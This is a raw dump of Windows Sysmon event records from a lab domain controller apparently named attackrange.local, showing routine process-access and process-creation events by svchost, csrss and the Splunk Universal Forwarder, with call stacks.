Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A89-5F80-6401-000000007F01}4600C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A89-5F80-6401-000000007F01}4600C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:57.350{A5F018FF-2A89-5F80-6401-000000007F01}4600C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28D0-5F80-4600-000000007F01}4088C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3400-000000007F01}2448C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3600-000000007F01}3212C:\Windows\system32\wbem\unsecapp.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\system32\dwm.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:17:20.084{A5F018FF-28BF-5F80-0D00-000000007F01}10043336C:\Windows\system32\svchost.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+b157|c:\windows\system32\rpcss.dll+7897|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871